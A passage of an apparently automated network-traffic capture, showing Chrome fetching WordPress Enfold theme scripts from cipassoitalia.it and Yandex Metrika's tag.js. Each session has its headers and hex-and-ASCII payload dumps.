6a 2e 61 70 70 6c 79 28 74 68 69 73 2e 69 73 6f 74 6f 70 65 2c 61 72 67 Data Ascii: ._getOption("horizontal")?this.needsVerticalResizeLayout():i.call(this)};var j=d._getOption;return d._getOption=function(a){return"horizontal"==a?void 0!==this.options.isHorizontal?this.options.isHorizontal:this.options.horizontal:j.apply(this.isotope,arg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.16	49838	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	511	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 5081 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	5081	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 48 6f 72 69 7a 6f 6e 74 61 6c 20 47 61 6c 6c 65 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 61 Data Ascii: // -------------------------------------------------------------------------------------------// Horizontal Gallery// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avia

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.16	49837	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	489	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 2497 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	2497	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 47 61 6c 6c 65 72 79 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Gallery shortcode javascript// -----------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.16	49842	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	491	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 1848 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	1848	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 09 09 24 28 27 2e 61 76 69 61 2d 69 63 6f 6e 67 72 69 64 2d 66 6c 69 70 62 6f 78 27 29 2e 61 76 69 61 5f 73 63 5f 69 63 6f 6e 67 72 69 64 28 29 3b 0a 20 20 20 20 7d 29 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 49 63 6f 6e 67 72 69 64 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 Data Ascii: (function($){ "use strict"; $(window).on('load', function (e) {$('.avia-icongrid-flipbox').avia_sc_icongrid(); });// -------------------------------------------------------------------------------------------// Icongrid shortcode java

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.16	49843	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	507	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 4975 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	4975	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 41 76 69 61 20 54 65 78 74 20 52 6f 74 61 74 6f 72 0a 09 2f 2f 20 0a 09 2f 2f 20 61 63 63 6f 72 64 69 6f 6e 20 73 6c 69 64 65 72 20 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Avia Text Rotator// // accordion slider script// -------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.16	49845	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	686	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 8056 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	8056	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 4d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 61 5f 6d 61 73 6f 6e 72 79 20 3d 20 Data Ascii: // -------------------------------------------------------------------------------------------// Masonry// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avia_masonry =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.16	49844	93.158.134.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	511	OUT	GET /metrika/tag.js HTTP/1.1 Host: mc.yandex.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yandexuid=261293701736425167; yashr=7067508691736425167
2025-01-09 12:19:28 UTC	851	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 227261 Content-Type: application/javascript Date: Thu, 09 Jan 2025 12:19:28 GMT ETag: "67655eba-377bd" Expires: Thu, 09 Jan 2025 13:19:28 GMT Last-Modified: Fri, 20 Dec 2024 12:10:34 GMT Set-Cookie: _yasc=++Ppq9fteoyl+4k53BNOb2EEhcA72qV8ICTnO3KPKzF7qppcsUmUotTpccVwIEui7tU=; domain=.yandex.ru; path=/; expires=Sun, 07 Jan 2035 12:19:28 GMT; secure Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-09 12:19:28 UTC	3481	IN	Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 4c 61 28 62 61 29 7b 76 61 72 20 74 61 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 61 3c 62 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 62 61 5b 74 61 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 62 61 29 7b 76 61 72 20 74 61 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 62 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 74 61 29 72 65 74 75 72 6e 20 74 61 2e 63 61 6c 6c 28 62 61 29 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 61 2e 6c 65 6e 67 74 68 Data Ascii: (function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length
2025-01-09 12:19:28 UTC	8168	IN	Data Raw: 5d 2c 63 3d 52 61 28 46 28 5b 61 2c 66 5d 2c 52 6d 29 2c 63 2e 61 6c 6c 6f 77 29 29 3a 63 3d 21 31 29 3a 63 3d 22 63 6f 6f 6b 69 65 73 22 3d 3d 3d 63 3f 53 6d 28 64 2c 65 2e 6e 61 6d 65 2c 65 2e 6f 70 65 72 61 74 69 6f 6e 2c 65 2e 6f 70 74 69 6f 6e 73 29 3a 22 72 65 61 64 54 69 74 6c 65 22 3d 3d 3d 63 3f 54 28 64 2c 22 72 65 61 64 54 69 74 6c 65 22 29 3f 64 2e 72 65 61 64 54 69 74 6c 65 3a 21 31 3a 21 31 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 53 6d 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 21 54 28 61 2c 22 63 6f 6f 6b 69 65 73 22 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 61 2e 63 6f 6f 6b 69 65 73 3b 61 3d 54 28 65 2c 62 29 3f 65 5b 62 5d 3a 7b 61 63 63 65 73 73 3a 30 7d 3b 69 66 28 32 3d 3d 3d 63 29 72 65 74 75 72 6e 20 54 28 65 Data Ascii: ],c=Ra(F([a,f],Rm),c.allow)):c=!1):c="cookies"===c?Sm(d,e.name,e.operation,e.options):"readTitle"===c?T(d,"readTitle")?d.readTitle:!1:!1;return c}function Sm(a,b,c,d){if(!T(a,"cookies"))return!1;var e=a.cookies;a=T(e,b)?e[b]:{access:0};if(2===c)return T(e
2025-01-09 12:19:29 UTC	5625	IN	Data Raw: 7c 7c 21 4e 28 64 29 29 72 65 74 75 72 6e 21 31 3b 73 77 69 74 63 68 28 63 29 7b 63 61 73 65 20 22 72 65 61 64 22 3a 63 3d 32 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 77 72 69 74 65 22 3a 63 3d 31 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 65 78 65 63 75 74 65 22 3a 63 3d 34 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 20 61 2e 6f 61 28 7b 70 65 72 6d 69 73 73 69 6f 6e 54 79 70 65 3a 62 2c 70 65 72 6d 69 73 73 69 6f 6e 50 61 72 61 6d 73 3a 7b 6b 65 79 3a 64 2c 6f 70 65 72 61 74 69 6f 6e 3a 63 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 65 69 28 61 2c 62 2c 63 2c 64 29 7b 69 66 28 21 63 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 62 3d 22 73 65 74 5f 63 6f 6f 6b 69 65 73 22 3d 3d 3d 62 29 3f 31 3a 32 3b 72 65 74 75 Data Ascii: \|\|!N(d))return!1;switch(c){case "read":c=2;break;case "write":c=1;break;case "execute":c=4;break;default:return!1}return a.oa({permissionType:b,permissionParams:{key:d,operation:c}})}function ei(a,b,c,d){if(!c)return!1;var e=(b="set_cookies"===b)?1:2;retu
2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 3d 70 61 28 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 2c 6c 29 7b 72 65 74 75 72 6e 20 58 66 28 68 2c 6c 29 3d 3d 3d 6b 7d 2c 45 28 64 61 28 22 62 69 64 64 65 72 43 6f 64 65 22 29 2c 62 2e 62 69 64 64 65 72 52 65 71 75 65 73 74 73 29 29 29 3a 64 7c 7c 67 28 62 29 3b 63 2e 57 65 26 26 28 63 2e 62 61 3d 21 30 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 2e 62 69 64 2c 65 3d 64 2e 62 69 64 64 65 72 43 6f 64 65 7c 7c 64 2e 62 69 64 64 65 72 3b 64 3d 64 2e 61 64 55 6e 69 74 43 6f 64 65 3b 65 26 26 64 26 26 28 62 3d 71 69 28 62 2c 64 29 2c 62 2e 50 62 7c 7c 28 62 2e 50 62 3d 7b 7d 29 2c 61 3d 22 61 64 52 65 6e 64 65 72 53 75 63 63 65 65 64 65 64 22 3d 3d 3d 61 2c 64 3d 7b 7d 2c 62 2e 50 62 5b 65 5d 3d 28 64 2e 73 75 63 63 Data Ascii: =pa(function(h,k,l){return Xf(h,l)===k},E(da("bidderCode"),b.bidderRequests))):d\|\|g(b);c.We&&(c.ba=!0)}}}function Hn(a,b,c){var d=c.bid,e=d.bidderCode\|\|d.bidder;d=d.adUnitCode;e&&d&&(b=qi(b,d),b.Pb\|\|(b.Pb={}),a="adRenderSucceeded"===a,d={},b.Pb[e]=(d.succ
2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 3d 76 61 28 61 2c 22 63 22 29 3b 6d 3d 45 28 66 75 6e 63 74 69 6f 6e 28 72 2c 71 29 7b 72 65 74 75 72 6e 20 70 28 7b 4e 3a 7b 65 61 3a 67 2c 4f 61 3a 33 45 33 7d 7d 2c 5b 22 68 74 74 70 73 3a 2f 2f 22 2b 72 5d 29 5b 22 63 61 74 63 68 22 5d 28 79 28 78 28 22 62 22 2c 68 29 2c 78 28 22 22 2b 71 2c 68 29 29 29 7d 2c 70 61 28 4e 2c 6d 29 29 3b 72 65 74 75 72 6e 20 4c 2e 61 6c 6c 28 6d 29 7d 6b 28 29 7d 2c 6b 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6d 3d 64 2e 43 28 22 73 63 69 70 22 29 3b 21 6d 7c 7c 68 62 28 6d 2c 22 61 22 29 7c 7c 68 62 28 6d 2c 22 62 22 29 7c 7c 28 65 2e 44 28 22 73 63 69 22 2c 66 29 2c 68 28 22 32 22 29 29 7d 2c 0a 42 29 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 69 28 61 29 7b 72 65 74 75 72 6e 7b 52 3a 66 75 6e Data Ascii: =va(a,"c");m=E(function(r,q){return p({N:{ea:g,Oa:3E3}},["https://"+r])["catch"](y(x("b",h),x(""+q,h)))},pa(N,m));return L.all(m)}k()},k).then(function(){var m=d.C("scip");!m\|\|hb(m,"a")\|\|hb(m,"b")\|\|(e.D("sci",f),h("2"))},B)}}}}function Li(a){return{R:fun
2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 28 29 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 71 29 7b 69 66 28 6f 67 28 71 29 29 7b 64 2e 67 61 28 5b 22 5c 75 30 34 33 64 22 5d 2c 72 29 3b 72 61 28 61 2c 6d 29 3b 76 61 72 20 74 3d 51 62 28 61 2c 71 2e 6f 72 69 67 69 6e 29 2e 68 6f 73 74 3b 6c 7c 7c 71 2e 73 6f 75 72 63 65 21 3d 3d 61 2e 70 61 72 65 6e 74 7c 7c 21 71 2e 64 61 74 61 2e 66 72 61 6d 65 49 64 7c 7c 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 21 3d 3d 56 28 61 29 2e 68 6f 73 74 26 26 21 48 28 74 2c 63 29 7c 7c 28 6c 3d 21 30 2c 64 2e 24 28 22 69 22 2c 7b 66 72 61 6d 65 49 64 3a 71 2e 64 61 74 61 2e 66 72 61 6d 65 49 64 2c 69 61 3a 21 30 7d 29 29 7d 7d 3b 64 2e 46 28 5b 22 5c 75 30 34 33 64 22 5d 2c 72 29 3b 58 28 61 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 67 61 28 5b 22 5c 75 30 34 33 Data Ascii: ();var r=function(q){if(og(q)){d.ga(["\u043d"],r);ra(a,m);var t=Qb(a,q.origin).host;l\|\|q.source!==a.parent\|\|!q.data.frameId\|\|"about:blank"!==V(a).host&&!H(t,c)\|\|(l=!0,d.$("i",{frameId:q.data.frameId,ia:!0}))}};d.F(["\u043d"],r);X(a,function(){d.ga(["\u043
2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 76 67 28 61 29 7b 69 66 28 50 64 29 7b 50 64 3d 21 31 3b 76 61 72 20 62 3d 61 2e 6c 3b 61 3d 4b 62 28 61 2e 6c 29 3b 76 61 72 20 63 3d 5b 5d 3b 6f 62 28 62 2c 63 2c 31 35 29 3f 62 3d 5b 5d 3a 28 57 28 63 2c 61 29 2c 62 3d 63 29 3b 72 65 74 75 72 6e 20 62 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 6a 28 61 29 7b 69 66 28 21 50 64 29 7b 50 64 3d 21 30 3b 61 3d 4b 62 28 61 2e 6c 29 3b 76 61 72 20 62 3d 5b 5d 3b 68 63 28 62 2c 31 34 29 3b 57 28 62 2c 61 29 3b 72 65 74 75 72 6e 20 62 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 70 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 62 5b 66 62 5d 3b 0a 69 66 28 64 29 7b 61 3a 7b 76 61 72 20 65 3d 4b 62 28 61 29 2c 66 3d 62 5b 66 62 5d 3b 69 66 28 30 3c 66 29 7b 76 61 72 20 67 3d 5b 5d 3b Data Ascii: turn d}function vg(a){if(Pd){Pd=!1;var b=a.l;a=Kb(a.l);var c=[];ob(b,c,15)?b=[]:(W(c,a),b=c);return b}}function bj(a){if(!Pd){Pd=!0;a=Kb(a.l);var b=[];hc(b,14);W(b,a);return b}}function ip(a,b,c){var d=b[fb];if(d){a:{var e=Kb(a),f=b[fb];if(0<f){var g=[];
2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 20 57 63 28 61 2c 62 29 3b 69 66 28 58 63 2e 69 73 45 6e 61 62 6c 65 64 28 61 29 29 72 65 74 75 72 6e 20 6e 65 77 20 58 63 28 61 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 63 28 61 2c 62 29 7b 76 61 72 20 63 3d 74 68 69 73 3b 74 68 69 73 2e 69 73 53 79 6e 63 3d 21 31 3b 74 68 69 73 2e 45 62 3d 5b 5d 3b 76 61 72 20 64 3d 7b 7d 3b 74 68 69 73 2e 69 68 3d 28 64 2e 61 64 3d 22 6d 75 74 61 74 69 6f 6e 41 64 64 22 2c 64 2e 72 65 3d 22 6d 75 74 61 74 69 6f 6e 52 65 6d 6f 76 65 22 2c 0a 64 2e 74 63 3d 22 6d 75 74 61 74 69 6f 6e 54 65 78 74 43 68 61 6e 67 65 22 2c 64 2e 61 63 3d 22 6d 75 74 61 74 69 6f 6e 41 74 74 72 69 62 75 74 65 73 43 68 61 6e 67 65 22 2c 64 2e 70 61 67 65 3d 22 70 61 67 65 44 61 74 61 22 2c 64 29 3b 64 3d 7b 7d 3b 74 68 69 73 2e 62 68 3d 28 64 Data Ascii: Wc(a,b);if(Xc.isEnabled(a))return new Xc(a,c)}function Wc(a,b){var c=this;this.isSync=!1;this.Eb=[];var d={};this.ih=(d.ad="mutationAdd",d.re="mutationRemove",d.tc="mutationTextChange",d.ac="mutationAttributesChange",d.page="pageData",d);d={};this.bh=(d
